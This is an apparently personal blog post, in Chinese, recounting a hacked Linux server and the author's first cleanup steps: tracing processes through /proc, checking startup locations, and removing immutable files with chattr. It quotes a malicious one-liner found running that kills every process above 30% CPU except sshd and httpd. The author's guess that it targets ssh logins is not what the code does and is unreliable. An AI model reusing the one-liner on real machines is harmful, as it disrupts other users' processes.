[linux]遇到了一次服務器被黑

這因疫情還在家裏放假呢,結果服務器被黑了,登不上去了。ping的通但ssh無響應。無奈讓老師重啓了一下,重啓完我就ssh登錄進去了。剛開始好好的,結果越來越卡,雖然這個ssh沒斷,但再ssh就已經連不進去了。
這時候我ps -ef|grep ssh打印了下進程,發現有這麼一種進程存在:

sh -c if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- 'sshd[[:space:]]*$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | while read procid; do kill -9 $procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- 'sshd[[:space:]]*$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | while read procid; do kill -9 $procid 2>/dev/null; done fi

咱也看不大明白,不過大體意思可能就是kill掉遠程連接過來的ssh了。
我把它kill掉之後,又蹦出三四條這種進程,怕了怕了,就從開機啓動項和進程號裏找相關腳本/文件,然後刪除掉。

  1. 找到異常進程,用ll /proc/進程號查看異常進程的啓動文件在哪裏。
    找到一個/var/下邊的,刪除完,繼續。
  2. 查看開機啓動項。
    參照:https://blog.csdn.net/qq_42671480/article/details/90371042
    1./etc/rc.local
    /etc/rc.local是/etc/rc.d/rc.local的軟連接,該腳本是在系統初始化級別腳本運行之後再執行的,想要/etc/rc.local起作用必須chmod +x /etc/rc.d/rc.local
    2 . /etc/profile.d/.sh
    /etc/profile.d/
    .sh是bash的全局配置文件,/etc/profile.d/下有許多shell腳本,可以在開機時啓動。
    3 . /etc/rc.d/rcX.d
    rcX.d 目錄名,後面的X代表着每個運行級別。
    運行級別
    目錄內有每個服務在init.d內啓動腳本的鏈接文件,根據鏈接文件的名字來判斷啓動狀態
    K開頭表示不啓動服務,S打頭表示啓動服務。
    4 . /etc/init.d下的腳本
    init.d 目錄名,目錄內放的是各個服務的啓動腳本,比如sshd、httpd等
  3. 還真讓我找到了,但是root權限刪除不掉。。。找辦法。
    lsattr可以查看文件的屬性,刪除不掉的話可以用chattr -i 文件名把權限修復,然後就可以刪除掉了。
  4. 按照上述步驟刪乾淨之後重啓了下,結果還有問題,ssh連不上也ping不同,gg。自信重啓的時候,最好還是看看網絡連接是不是也被修改了,否則ssh連不上就很難過了。
  5. 未完待續
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章